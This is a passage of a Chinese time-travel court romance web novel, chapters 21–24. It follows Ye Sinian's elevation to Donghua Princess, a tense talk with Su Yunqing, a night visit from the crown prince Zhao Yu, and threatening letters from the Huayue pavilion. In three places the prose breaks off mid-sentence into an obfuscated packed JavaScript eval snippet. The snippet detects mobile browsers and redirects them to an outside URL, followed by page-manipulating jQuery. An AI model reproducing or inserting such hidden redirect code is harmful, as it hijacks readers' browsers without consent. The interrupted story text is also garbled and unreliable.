叶斯年抬眸望去,不禁微怔,竟是方才那位谪仙般的公子。他竟是苏廷章?换了一袭官袍的他,立于这恢弘的瑶光台上,衣襟飘飘,眉宇间自有一派仙风道骨。 皇帝目露笑意,手中扬起叶斯年的词稿,语气中带着几分揶揄:“你刚坐上国子监祭酒的位置,便有如此佳作现世,还真是没选错人。听闻你在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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官家忽而目光一转,朗声问道:“礼部尚书何在?” 话音未落,一人从文臣席中缓缓出列,俯身行礼:“臣在。” 官家微微一笑,点了点手中的诗稿,语气从容却掷地有声:“朕记得,宣德公家已有一位县主,就封这位苏家娘子为郡君吧!” 四下瞬时寂静,连夜风仿佛都屏住了呼吸。片刻后,苏仲衡与苏云卿齐齐叩首谢恩。 官家稍作停顿,手指轻敲诗稿,沉吟道:“朕记得,眼前这位新晋郡主,还未有赐封之号?” 礼部尚书低头答道:“回陛下,是。依据礼制,郡主随宁安王的封号册封。” 皇帝微微颔首,目光环视众人,声音平稳却蕴藏深意:“‘东华’,东为朝阳,华为美玉。朕封你为‘东华’,既彰你才情卓绝,亦勉励你无愧此号。” 铿锵有力的话语回荡在瑶光台上,落入每个人的耳中,久久未散。叶斯年缓步上前行礼,心中微起波澜。这才是她第一次近距离看到天子的容颜——并非咄咄逼人的威严,而是一种历经风雨后的从容与深邃,宛如一位饱经岁月的智者,目光穿透世事,却又包容万物。 21. 共襄盛事 叶斯年与苏云卿领赏后便随着皇后回到内苑,瑶光台上依旧歌舞升平。临走时,赵煜还特意朝她使了个眼色,不知道又在打什么主意。叶斯年一边跟随皇后,一边琢磨着“东华郡主”这个封号的意义。从叶绍方才谢恩的神情,以及台上众人难掩的惊讶来看,这样的赏赐实在是破天荒的。 自从她在梦境中进入这个世界以来,就没少翻阅古代史书,试图从中找出规律。虽说她并非专业历史学者,平日里也只是利用有限的时间查阅书籍,但与斯年多次探讨后,她渐渐形成了一个有趣的结论:世界的分化似乎总是在一些关键节点上,由于重大决策的差异而进入不同的平行轨迹。然而,最终推动历史大势的,似乎总是同一类人,而历史的轨迹也常常呈现出惊人的相似性。大抵人性如此。不,准确地说,是男性如此。 这个世界的大沅朝,显然是与她所在世界的宋朝颇为相似的存在。虽然地理位置和版图略有不同,但重文轻武的国策却一脉相承。然而,如今官家对叶绍的态度却令人费解。不仅将他作为重臣倚重,还对叶家嫡女封以最高规格的郡主之位,甚至因她一首题词而赐下封号。这种种行为,与“重文轻武”的传统方针似乎有所出入。 叶思楠不禁陷入沉思。如果历史的走向总是相似的,那么大沅会否因官家的这些举措逐渐调整重文轻武的国策,从而迈向一条截然不同的轨迹? 一路上,夜风低吟,桂花香气氤氲清冷,梧桐树影在西风里摇曳起伏。皇后虽未多言,但眉宇间舒展,唇角掠过一抹若隐若现的笑意,尽显她对今夜宴会的满意与欣然。 进入内苑,皇后径直落座,随侍宫人匆忙奉上茶水。叶斯年与苏云卿稍缓几步,离人群还有一段距离。苏云卿忽然轻声唤道:“东华郡主。” 叶斯年回过头,目光落在她那如精雕细琢的美轮美奂的脸上,连眼尾上扬的线条都是神来之笔。然而,赞赏的话尚未来得及出口,叶斯年却察觉到她的神情悄然改变。方才在瑶光台上的低眉顺目与谦恭恬静已然不见,此刻,她半张脸隐匿在摇曳的烛光阴影中,眉眼间竟流露出一抹锋利与凶戾。 但只是片刻,苏云卿走出阴影,她的脸再次被柔和的光芒笼罩,仿佛什么都没有发生。她福身轻笑,声音带着几分真诚:“云卿多谢斯年郡主提携。” 叶斯年立刻明白了苏云卿方才流露出的凶戾之气。大抵是因为她心中不甘,觉得自己被压了一头,却又清楚,若不是叶斯年将词题在画作上,自己今夜恐怕难有出头的机会。毕竟,苏云卿不过是十六岁的女孩,有如此相貌和才学,自然少不了几分傲气。 叶斯年心里却不禁一阵发虚,自己也不是什么真正的才学之士。不过转念一想,当年十六岁的她,除了丑一点,还真是上知天文下至地理的时候。那时候,连考试比同桌少一分都会忿忿不平,更何况像苏云卿这样,在这种场合被压了一头。 然而,无论苏云卿怎么想,在叶斯年的理想蓝图里,这样的女子都应该有一席之地。她暗自思忖,绝不能让苏云卿因此心生芥蒂。 “是我借了你的光才对。我不过是锦上添花罢了。真正让你封为郡君的,是你的才学。而我,不过是因时势所趋罢了。” 苏云卿垂下眼眸,似在沉思,片刻后抬头说道:“云卿自知才学浅薄,实在愧不敢当。但郡主如此助我,云卿铭感五内。日后若有所需,云卿必不推辞。” 叶斯年脸上仍然挂着那抹浅浅的笑意,未多言。这种得体的笑容是她前世职场多年磨练出的本能,没想到换了具身体后,这份肌肉记忆依然如影随形。她心中暗自思量,苏云卿的这份谢意是真是假尚难分辨,但这位表面温柔谦和的女子,恐怕并不像她表现得那般简单。 然而,叶斯年并不在意苏云卿是否对她友好,甚至不在意苏云卿本人是否纯善。若她真是个温良恭俭让的女子,反倒无趣。 两人回到人群中,诸位娘子早已得知消息,纷纷上前恭贺。赵玥笑脸盈盈地望着叶斯年。叶斯年心中一动,这笑脸竟让她感到无比熟悉。前世,她对那些犯了错的小组成员讲话时,不正是这样的表情吗? 看到叶斯年,她微微一笑,语气带着一丝调侃:“恭喜东华郡主,这番风头,可是无人能比。” 叶斯年颔首致意:“长公主谬赞,斯年愧不敢当。” 赵玥屏退左右,只留叶斯年与她在园中一座精致的亭子里小坐。石桌上摆着美酒佳肴和一小捧新鲜桂花。 赵玥微微扬起眉梢,目光带着几分玩味与审视。“我很好奇,你为何这么做?看你的神色,对自己的词作显然是胸有成竹,根本不至于需要攀附苏云卿。倒是她的画作虽好,但若没有你的词作点睛,未必能有如今的效果。你为何要带上她?或者说,我是不是该问,叶太尉何时与苏仆射的关系变得这般亲近了?” 叶斯年淡然一笑:“长公主误会了。这一切不过是机缘巧合。苏娘子画作极佳,我不过是锦上添花罢了。” 赵玥轻声一笑,意味深长地说道:“你这‘锦上添花’,却让苏家倍感荣耀,他们此番可是欠你一个大人情。” 叶斯年垂下眼帘,未作言语,心中却多了几分警惕。赵玥的话虽带几分调侃之意,但其中的试探不言而喻。她随即抬眸,唇角扬起一抹浅笑:“长公主慧眼如炬,斯年今夜但求不负圣恩,与诸位娘子共襄盛事。” 赵玥不再追问,唇角含笑:“好一个‘共襄盛事’。天下女子自当同乐。”说着,她端起一杯酒递向叶斯年,微微挑眉道:“把酒问青天?” 长公主的桂花酒清冷沁香,似是将秋夜的凉意酿入其中。叶斯年对这位位高权重又气度非凡的女子心中不无敬仰与欣赏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698882|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但念及身份有别,言行之间刻意保留了几分拘谨。幸而,赵玥已不再带着那种审视的笑容试探她。 两人闲聊了几句诗词,言语间虽疏淡,却不失雅趣。随后,宴会在璀璨的烟花中渐渐落幕,叶斯年起身随叶绍一同踏上了返程的路。 夜深人静,宁安王府的小院一片静谧。花梧白天已去了军营,青枝正忙着整理些物件,准备明日送给花梧。叶斯年慵懒地靠在躺椅上,凝望着天上一轮明月,那明亮的圆光似银盘高悬,幽幽洒下清辉。上一世,她从未见过如此澄澈而晶莹的月亮,低低的悬在树枝上,触手可及。月面上隐约的坑洼真的好像吴刚伐树留下的痕迹。 窗外传来一声轻响。叶斯年警觉地看向阴影深处,正对上一双深邃而含笑的眼眸。 “赵煜!”她压低声音,语气中带着几分不悦:“你又鬼鬼祟祟干什么?” 赵煜毫不在意地翻窗而入,动作轻盈带起了一阵风。他低声说道:“冒犯了,深夜来访,自然是有事。你放心,没人看到。”说罢,他随意径直往屋里走,自顾自地嘀咕着:“这小院倒是比从前好找多了。以前你住那犄角旮旯的地方,找都找不到。” 叶斯年翻了个白眼,懒洋洋地靠回椅背上,语气中满是调侃:“改天我得跟叶太尉好好说说了。这宁安王府的守卫也太不靠谱了,比从前叶府还松散。太危险了,什么人都能随随便便闯进来。” 赵煜闻言,眉头微微皱起,眼底闪过一丝不悦:“我是随便什么人吗?”他掸了掸黑衣上的露水,话里带着几分得意:“不是我夸口,这大沅朝,若论轻功,我敢称第二,除了卫珩那家伙,谁敢说第一?” 叶斯年懒得与他争辩,满脸嫌弃地摆了摆手:“这么晚了,别废话,有话就放。” 赵煜低头整理了一下衣襟,神情逐渐沉了下来。他站在窗边,身后的月光勾勒出他好看地轮廓。他目光凌厉,语气里透着几分责备:“我只想知道,你为什么要把苏云卿牵扯进来?” 说话间,他大步迈向叶斯年,气势迫人。 叶斯年起身后退一步,与他拉开些许距离。她抬眸打量着他,随即嗤笑一声,语气漫不经心:“我瞧她好看。” 赵煜被这回答气得笑了,但眉眼间仍带着几分责备。“赵渊跳出来问你的词牌,要是再和苏仲衡一唱一和,官家就乱点鸳鸯谱?更何况,明眼人都看得出来是你主动把苏云卿牵扯进来的。在旁人眼中,这无异于武官第一与文官第一交好。你可知道,这在官家眼里意味着什么?” 叶斯年闻言心中不禁生出几分怒意,实在受够了他这副煞有介事、故弄玄虚的模样。她抬眸直视赵煜,目光如寒泉般清冷而锐利:“殿下若无其他要事,还是早些回宫吧。深夜造访当朝太尉府的女眷院落,若传了出去,只怕要落得个浪荡子弟、荒唐之徒的名声。” 22. 翻墙入室 窗外明月如盘,清辉入院。屋内灯火摇曳,有风在火焰上轻舞,烛影明灭流转。叶斯年神色平静,只有烛光在她脸上跳动。赵煜看见她冷淡的表情,一股寒意从心底涌起,如坠冰窟。 他确实有急事,才冒险深夜前来。一则卫珩守在外头,这里离叶绍的院落也远,不会被发现;二则他笃定叶斯年与他来自同一时代,不会拘泥于那些男女授受不亲的陈规旧礼。可是眼下这姑娘的火气是怎么回事?他又哪里惹她不快了? “你今晚火气怎么这么大?”赵煜瘪了瘪嘴,挺直了腰板。他瞥见她绷着的嘴角似乎松动了一瞬,立刻接上话:“不对,你每次见我,火气都很大。” 叶斯年没有理会,视线越过他,看向他身后树枝间悬挂的明月。她随手拉紧身上的披帛,拖着步子走回窗边:“赵煜,我们认识才半个月吧?”她声音低沉,透着一股疏离。 赵煜被她的话问住了。半个月前,他哪里想得到,除了他,这世间竟还有其他天外来客。他找寻了八年,几乎要放弃了。 她倚在窗台上,目光掠过赵煜,落在墙上跳动的光影上,像是在对着它说话:“我彻底被困在这个世界也不过半个月,时差还没倒过来,问题和状况都接踵而至。你第一次见我,不也给了我一个下马威吗?你我这种境遇,应该能互相理解吧?” 她顿了顿,轻笑了一声,语气里多了几分嘲弄:“在动物世界里,恐惧才能让人活下去,快乐不是必需品。我保持警惕和愤怒,只是为了生存。说实话,起初我甚至不确定——你会不会为了保守自己的秘密,杀了我。” 赵煜微微一怔,记忆里深藏的恐惧涌上心头。吴大夫会不会告发他?皇后会不会对这个占据自己儿子肉身的陌生来客下杀手?他张了张嘴,却发不出声音,半晌才低声道:“我当时……也是不太敢确定……”声音压得极低,带着几分无措,却又不知该如何为自己辩解。 他心中也有许多不确定。起初,他不确定她是否和自己一样,来自同一个世界、同一个时代。当一切尘埃落定后,他心中唯一的念头就是将她留在身边,有个人可以说话,彼此作伴。他想着保护她,让她顺利融入这个陌生的世界,不必再走他曾走过的弯路。或许,她可以成为他的太子妃,甚至未来的皇后,享尽天下荣华;若她向往四海的自由,等时机成熟后,他可以为她争取封地,让她纵情游历山河。他想予她此间女子最尊贵的身份,只希望她一生顺遂,和自己多说说话…… 然而,短短半月间,发生了太多事。他渐渐明白,她既不是需要依附他人的菟丝草,也不是能被囚禁呵护的金丝雀。她比他想象中更加独立、鲜活,也完全不受掌控。起初,他为有她与自己一同谋划盛世而欣喜,那是一种可以称为文化认同的归属感。 可不知从何时起,这样的念头开始变了味。他心里清楚,也许是这些年来压抑的亲情、友情,甚至爱情,都找不到宣泄的出口,才让他如此渴望从她那里得到一个回应。甚至,他开始怀疑自己是不是太急切了,太用力了,才总让她不高兴,甚至对他心生防备。 可是——她竟然想过他会杀了她?这个念头像一根钝刺扎进他心里。他明明想要辩解,却又什么都说不出口,因为他甚至能够理解。解释的话堵在喉间,翻滚着,却终究没能发出声。 叶斯年抬眼看向眼前这个突然变得乖巧的太子,与初见时那浑然天成的威压截然不同。如今,他身上少了些天皇贵胄的冷峻威严,多了几分手足无措的窘然。他从不在她面前摆架子,甚至显得格外平易近人。月光洒在他俊美的五官上,勾勒出越发清秀的轮廓,透着一丝近乎女孩般的精致。 她终于忍不住轻笑出声:“开个玩笑,我能理解你,也请你理解我。说实话,如果不是你,我只怕会比现在艰难百倍。谢谢你。” 她说得真诚,赵煜怔了片刻,耳尖在月光下微微泛红。他低声嘀咕了一句:“怎么突然说这些?” 叶斯年嘴角带着一抹淡淡的笑意,但笑意不达眼底:“真心话。我也跟你道个歉,我确实不太会处理一些……比较亲近的关系。可能越是亲近的人,我就越不懂得掩饰情绪,大概是因为我的本性并不算好吧。” 话一出口,她自己也愣住了。活了两世,这还是第一次如此坦诚地评价自己。这样的评价,本是他人曾加诸于她的,起初她还不愿承认。她感觉脑袋微微发晕,却没有丝毫倦意,想来是方才长公主敬的那杯桂花酒,果然烈得很。 她从前就是如此。在原生家庭中,她习惯回避冲突,总选择隐忍和迁就,以维持表面的和谐。这种模式延续到她的社交关系中,对普通朋友和同事尚且还能保持平稳,但一旦进入亲密关系——无论是好友还是恋人,她内心积压的未被满足的情感需求便开始显现。她很难通过有效的沟通来表达自己的情绪,往往将情绪压抑到一定程度后以情绪爆发的方式释放出来,导致双方都深感疲惫和痛苦。 表面上,这似乎是她的情绪调节能力不足导致的内耗,但实际上,这种不成熟的情感表达模式对双方都造成了无形的伤害。她在潜意识中试图通过冲突来获得关注和理解,却往往适得其反,进一步加深了关系中的紧张和疏离。 古人有言:“行年五十而知四十九年非。”而她,直到彻底死过一次,才终于明白这一生都错得离谱。 赵煜察觉到她情绪低落,犹豫了一下,终究上前一步。他的目光落在她微微泛红的眼眶上,却见她已经转身避开,不想与他对视。他低声开口,语气里带着一丝小心翼翼:“其实,我并不是在责怪你发脾气。我不介意你对我发脾气的,真的。我只是担心,你对这里的许多事情还不够了解,很多利害关系也没有完全看清。怕你惹祸上身,更担心你好心做的事最后适得其反,反倒让你更加难过。” 叶斯年静静听着,心中默默思索着他的这番话。她不得不承认,自己确实不喜欢他那副煞有介事、故弄玄虚的模样。然而,或许他并非有意如此,而是真的不知道该如何向自己开口,谈论朝堂之上的凶险。信任本该是相互的,不是吗? 既然话都说到这儿了,不如坦率地表达自己的不满和期望?以前心理医生不就说过,清晰而直接的情感表达有助于改善人际关系吗?过去虽然没能做到,但如今人生已经重启,难道还要和从前一样委屈自己折磨他人吗? 她犹豫了一下,最终还是开口了:“我知道,初来乍到,这个世界上还有很多事情是我不了解的。如果有什么危险的事,你可以直接告诉我;如果有需要暂时回避的,也希望你能清楚地说明轻重缓急。我明白朝堂凶险,但说到底,无非是政治斗争中展现的人性丑恶罢了。我希望你明白,我并不是你眼中那个十六岁的小女孩,再丑恶的东西我都见过、听过。我希望我们之间能开诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698883|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布公地沟通,而不是你一味地责怪我,或者干脆替我解决问题。我说过,要与你共谋盛世,我们应该是互相信任的盟友。” 赵煜听完,愣了一瞬,被她的坦率直言怔住了。他一时不知该如何回应,过了片刻,才点了点头:“好,我明白了。确实有些复杂,我会梳理清楚,找个时间好好跟你谈谈。” 叶斯年没想到,他答应得竟如此爽快。没有反驳,也没有半句辩解或推托,甚至连多余的解释都没有。 她低头笑出声来,方才两人之间剑拔弩张的气氛顿时缓和了许多。赵煜也觉得松了口气,看向窗外的明月,轻声说道:“你知道吗?我刚来的时候,经常看月亮,一看就是一整晚。我盯着月球上的坑洞,想着它和记忆中的月亮是不是同一个。但说实话,我其实也记不清记忆中的月亮到底是什么样了……好像没这么大吧?” 叶斯年闻言顺着他的目光看了看那轮巨大的明月,点了点头:“确实,我也没见过这么大的月亮。” 夜风拂过窗外,梧桐沙沙作响。叶斯年拉紧身上的披帛,转头问道:“这么晚了,你到底想跟我说什么?” 赵煜的眼中忽然闪过一抹亮色,瞬间摆脱了方才的窘迫。他稍作整理,语气也随之变得果断起来:“对,我有事要说。你现在暂时不要和苏家任何人牵扯上关系。苏仲衡,也就是苏仆射,一直在推动苏云卿成为太子妃。在叶太尉凯旋之前,苏云卿确实是最有可能的人选。但我不愿与苏家结盟,再加上皇后和李家这边的阻力,这件事就耽搁了几年。” 他顿了顿,继续说道:“叶将军加封之后,礼部侍郎李怀瑾上书请求封你为郡主。按惯例,本该是叶绍的大娘子受封诰命,但大娘子早已辞世。封你为郡主虽稍显逾越本朝对武将家眷的惯例,却也在礼制之内。一开始,这道封命确实是为了在声望上让你压过苏云卿,但我没想到……” 赵煜说到这里,忽然意识到自己扯远了,顿了一下,改口道:“这部分以后再说。” 他顿了顿,语气低了几分:“苏仲衡这个左仆射,是李谟远被架空之前扶持上位的。他在朝堂上的野心正逐渐显露,显然不甘心继续充当李家的傀儡。而苏廷章在长安府压着花月阁新楼的文书迟迟不批,究竟是出于苏家的授意,还是他个人的考量,现在还不得而知——不过,他已经被调离了长安府。” “赵渊虽与李家素来不和,却与苏家关系密切。此次官家将赵渊调往长安府,其真正用意一时还难以看透。总之,眼下若想动花月阁,李家是绕不开的。如果你与苏家牵扯上关系,只会让李家对你产生防备。” 赵煜刚还想再说些什么,但院外忽然传来一阵脚步声。两人皆是一惊,叶斯年连忙低声催促:“快走!” 赵煜迅速转身,轻轻一跃翻窗而出,身影很快隐没在夜色之中。 片刻后,叶绍的身影出现在院中,他目光扫过窗边,随后看向赵煜离去的方向,眉头微蹙。 叶斯年上前一步,打破沉默,轻声说道:“叶将军,今晚是我鲁莽了,给你添麻烦了。以后不会再这样了。” 叶绍沉吟片刻:“你做你想做的事就好,什么后果我能担着。如果我担不住,不是还有太子吗?你注意安全就是。” 他说完,抬眼望了望天色,又补了一句:“夜深了,早些歇息吧。”随即转身离去,脚步沉稳,消失在夜幕中。 23. 两封来信 叶绍身着寻常布衣,卸下了身着银光铠甲的威风凛凛,脸上浮现一种似哀似怜的慈悲神色。叶斯年望着他无声隐去的身影,思绪不由回到了多年前,她初至此间,第一次见到叶绍的情景。 那时的斯年年仅八岁,大娘子李清容和长兄叶承泽尚在人世。彼时的叶绍是意气风发的将军,也是严厉的父亲;而李清容的脸上则常带着如今叶绍这般,近乎哀伤的慈悲神色。 两年后,年仅十六岁的叶承泽在北境靖州的一次兵变中身亡,李清容从此精神崩溃,身体也每况愈下。叶绍请命北伐,离京前夜,叶思楠从斯年的体内醒来。那是一个雷雨交加的夜晚,李清容的痛哭声如雷霆怒吼,撕裂长空。叶绍连夜点兵,将年幼的承勇和承骁一同带走。周氏则在雨中整整一夜,未发一言。 那一年,叶斯年十岁,而叶思楠刚满二十岁,正值大二下学期开学。上学期,一个长相帅气的学长向她表白,两人顺理成章地在一起。一个寒假没见,她满心欢喜地计划瞒着对方提前返校,还精心准备了礼物,却在女生宿舍楼下的小卖部门口,亲眼看见他牵着另一个女生的手。 她没有质问,也没有争闹,只是默默删掉了所有联系方式,将自己的初恋连同那些两人之间的小礼物一起丢进了垃圾桶。她觉得丢人,不是被劈腿丢人,而是自己的眼光居然这么差。所以她选择沉默,从未向任何人提起自己的遭遇。 她压抑了许多天,愤怒、怨恨、心痛交织,却无人可以倾诉。为了麻痹自己,她拼命打工,不敢停下来,唯恐一旦停下,负面情绪便会彻底吞噬她。然而那天,她在叶斯年母亲的怀里哭了一整夜。这是她人生中第一次放声痛哭。 从那以后,李清容的身体愈发憔悴,形同槁木。不久之后,她终究没能撑下去,离开了这个世界。 眼下的叶绍,比那时苍老了许多,脸上多了几道触目惊心的伤疤。他不再是从前那个严厉的父亲,而是带着如同李清容一般,近乎哀伤的慈悲面容。这六年间,他在北境的风沙中究竟经历了什么? 她几乎可以肯定,叶绍早就知道太子来了。可他为何对自己如此包容?仅仅是因为自己来自千年之后,掌握着更加先进的思想与制度吗?她想起叶绍曾提过,无论是否愿意成为太子妃,选择的权力都在她手上,甚至若她不愿,他可以替她抗旨。 按理说,叶斯年与太子之间发生的这些事,叶绍不该如此轻易接受,甚至应当对他们多加戒备才是。叶斯年觉得,是时候与叶绍开诚布公地谈一次了,就像她方才与赵煜那般。虽然话似乎还没说完,赵煜那浪荡子好像还有话没说完? 此时,当朝太子正趴在屋顶,一动不敢动。他回想着方才叶绍的话,心中暗叹:果然,怎么都瞒不过这位大沅第一武将。他觉得有必要与叶绍当面沟通。靖州府的军马走私案件,本就是官家交给叶绍负责的。 他原本并不知花月阁竟然染指军务,但叶绍刚凯旋便马不停蹄地返回靖州府,事出反常,这才引起了他的警觉。他派人远远跟随叶绍的行动,顺着线索追查,才发现了春满楼的周掌柜。官家显然早有安排,意图让叶绍彻查花月阁的事情。官家恐怕也知道,他一直在暗中调查。而他派出的人,应该也早就被叶绍发现了。 想到这里,赵煜下定决心,必须与叶绍开诚布公地谈一次。既然目标一致,就应该及时交换信息,而不是各自为战、重复做功。毕竟——如果叶斯年真的成为太子妃,叶绍也就是他的岳父了。 赵煜心中苦笑,叶斯年的出现让一切变得复杂,那脾气简直像个祖宗。明月半隐于乌云,他轻叹一声:“这世间,怕是要变天了。” 他的目光扫过远处的屋顶,发现卫珩正趴在那里一动不动,双眼紧盯着某处,连自己这边的动静都没有察觉。他从怀中摸出一颗红豆,打算作为信号丢过去——红豆痛感适中,落地声小,是他们之间约定好的暗号。可他犹豫了一下,又收回了手,决定悄悄靠近,看看卫珩到底在干什么。 这一情景让赵煜想起初遇卫珩时的往事。卫珩长得像他上一世的兄弟,又轻功卓绝。他费尽心思,用尽各种手段想把卫珩留在身边,最后不得不亮出太子的身份,才成功将这人诓回宫里。为了学轻功,他软磨硬泡跟着卫珩找到他师傅,又耗费两个月时间苦求,才勉强学了些皮毛。条件是,他得好好待卫珩。想到这里,他心中一阵心酸:“怎么没人来说要好好待我呢?” 当年,师傅让他追着卫珩练轻功。卫珩直接飞出去,他追了一夜也没追上,等到天亮时,四下寻找,才发现卫珩竟悠哉地趴在附近屋顶上睡觉。他气得不行,冲上去就狠狠踹了一脚。 赵煜正想着上去给他来一脚,还没靠近,卫珩便察觉了,蹭地一下提起赵煜,身形轻巧地窜出了宁安王府。 赵煜被他拎惯了,竟连一点脾气都没有。等落地后,他慢悠悠地整理着衣裳,没好气地问道:“你刚才看什么呢?那么入神,连叶绍来了都不提醒我。” 卫珩语气平静:“我怕被叶太尉发现。” 赵煜没好气地瞪他:“那你就不怕他发现我?” 卫珩淡淡道:“他早就发现你了,刚才故意发出脚步声,就是提醒你的。” 赵煜一愣:“他什么时候发现的?” 卫珩看了他一眼,不疾不徐地说道:“你声音太大了,上墙的时候他就听到了。” 赵煜顿时语塞,皱眉问:“那他怎么没发现你?” 卫珩沉默片刻,神情平静如常。 “……” 赵煜叹了口气,认命般摆了摆手:“行吧,你厉害。” 他不死心,又问:“你刚才到底在看 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天光乍亮,叶斯年躺在床上,犹豫着要不要出去走走。但青枝一早便去了郊外军营,她自己又不认路,实在不敢贸然出门。她心里盘算着,这瑶京有没有地图一类的东西?改天得找一份看看。不过转念一想,古代似乎对私自绘制地图管得极严,稍有不慎便是重罪,还是得谨慎些。 正思索间,管家吴伯送来一封信,说是今日一早国子监遣人送至府中门房的。叶斯年接过信,心里不禁一笑,觉得这个苏廷章还真是有意思,恐怕昨夜就已经备好信件了。信中不过是些奉承的客套话,外加昨夜官家提到的,邀请她一同参与论学的安排。她扫了一眼,发现论学时间定在五天后,倒还算宽裕。不过,苏廷章究竟打的是什么算盘,还得细细揣摩。 思绪飘远,她摇了摇头又拿出赵煜送的玻璃笔,准备整理一下最近的事情,去找叶绍好好聊一聊。 “阿姐,你醒了吗?” 瑾年的声音从院外传来,脚步声听起来有些慌乱。 叶斯年皱了皱眉,放下手中的笔,走到门口开了门:“怎么了?” 瑾年气喘吁吁地站在门口,脸颊微红,眼中还带着几分急切。她手里攥着一封信,声音略带喘意地说道:“方才太子身边的卫珩从后门过来,说是找青枝,可青枝不在。他就找到我,让我务必把这封信交给阿姐您。” 叶斯年接过信,眉头微蹙,心中疑惑:昨夜才聊过,怎么一大早又送信来,究竟是什么急事? 她拆开信,信纸在手中展开的瞬间,目光扫过信件的抬头,“东华郡主亲启”几个字赫然映入眼帘。她继续往下看,越看越觉得背后发凉。 “草民花月阁东家,拜启东华郡主……” 24. 去岁上元 东方渐明,天光如水,东宫的雕花窗棂泛起朦胧的晕影,仿若从夜露的沉眠中徐徐苏醒。檀香袅袅,如烟似雾,在静谧的寝殿中氤氲缭绕。赵煜身着月白长衫,端坐于晨曦之中,手中信笺微微扬起,眉头紧蹙。信的内容虽寥寥数语,却如锋刃藏针,字字透着试探与警告,叫人无法轻忽。 方才卫珩匆匆而来,呈上一封信,道:“殿下,这是浮生堂蔡掌柜送来的信。花月阁的使者今早亲自送到浮生堂,说这信是给东华郡主的。” “东华郡主?”赵煜轻声重复,眼底掠过一丝冷意。 卫珩继续说道:“蔡掌柜不知东华郡主是何人,原本想推辞,但那使者却说,花月阁是风月场所,若直接送信到宁安王府,恐惹人非议,恐怕也不是太子殿下所愿。” 赵煜将信折好,放在案上,眼中隐隐闪过一丝嘲弄的神色:“花月阁这是在敲山震虎。” 他提笔沾墨,笔锋轻点,飞快写下一封信:“卫珩,这两封信一并送去给郡主。” 卫珩接过信,正欲转身,却被赵煜叫住。 “等等。”赵煜放下手中笔,若有所思,随即起身走向一旁的柜架,开始翻找。片刻后,他拿出一个通体晶莹的琉璃香囊,放在掌心细看。香囊造型精巧,外壁刻有缠枝花纹,内里装着特制的安神香料,幽香淡淡,沁人心脾。 卫珩认出那香囊,不由一愣:“殿下,这不是圣人赠您的琉璃香囊吗?” 赵煜将香囊递到卫珩手中,神色淡然:“没错,就是这个。看着不错,一并送给郡主吧。”说罢,他在信笺上又添了几笔。 卫珩微微颔首,没有多言,转身利落地离去,身影很快隐没在晨光之中。 赵煜望着窗外渐渐亮起的天光,嘴角浮现一抹微不可察的弧度,低声自语道:“看来,我也得学着你那般,莽撞一次了。” 昨夜回到东宫时,坤宁殿的宫人一如往常,端着一碗安神汤,恭敬地立在寝殿门口候着。赵煜扫了一眼汤碗,未等宫人开口,便伸手接过,仰头一饮而尽,随后挥了挥手,示意来者无需多言,转身步入寝殿便歇下了。 从前,他对皇后的这般举动满怀愤怒。他愤怒的不仅是皇后试图掌控他生活的种种安排,更是她所代表的无处不在的皇权。而这种愤怒其实是来源于恐惧。 初到这个世界时,他面对皇权的绝对威压,皇后的压制,以及李家滔天的权势,常常感到无力与迷茫。重活一世却依然无法掌控命运的无助感,与他身为穿越者在封建社会中的格格不入,逐渐雕刻出他性格的底色:隐忍疏离,谦卑谨慎,孤傲清醒。 这些年,他逐渐成长起来,亲历了诸多风浪与危局,也见证了李家权势的式微。那种曾令他辗转难眠的恐惧,随着时间的推移逐渐消散,自然也就谈不上愤怒了。取而代之的,是一种复杂又矛盾的情绪。 他有时会感到同情,为皇后逐渐失去权力和宠爱而怅然。毕竟皇后代表着李家,而官家要架空李家,自然也必须疏远她。有时,他甚至默许皇后对他的一些控制,连他自己也说不清,这是否就是亲情中的妥协与忍让。他不懂亲情。 这些年,他的睡眠一直浅得可怜,初来时更是几乎不敢入睡。这只琉璃香囊便是皇后特意为他打造的,用来盛放安神香料,以缓解他的不安。后来,卫珩来到他身边,他的状况逐渐好转,连皇后也察觉到了这一点,因此对于他与卫珩频繁出宫的举动并未过多干涉。 然而,最近皇后似乎越发关注他的言行举止,这一切显然与叶斯年的出现有关。她担心叶斯年夺走了她对赵煜情感上的最后一丝掌控。 皇后做局害死真正的叶斯年,这笔账显然迟早会被如今的东华郡主清算。如今的皇后虽表面上对叶斯年并无敌意,却仍然试图掌控她意图。叶斯年那桀骜不驯的性子,加之对宫中礼仪规矩的生疏,以及深埋心底未曾散去的怨恨,注定了她与皇后之间的矛盾早晚会爆发。 赵煜明白,她既不会轻易妥协,也绝不会对皇后的试探无动于衷。而他更不愿意看到叶斯年被推上风口浪尖,更不想重演皇后再度出手伤人的旧戏,尤其是如今这位李氏皇后早已失了昔日的权势,只能徒然面对自己的力不从心。 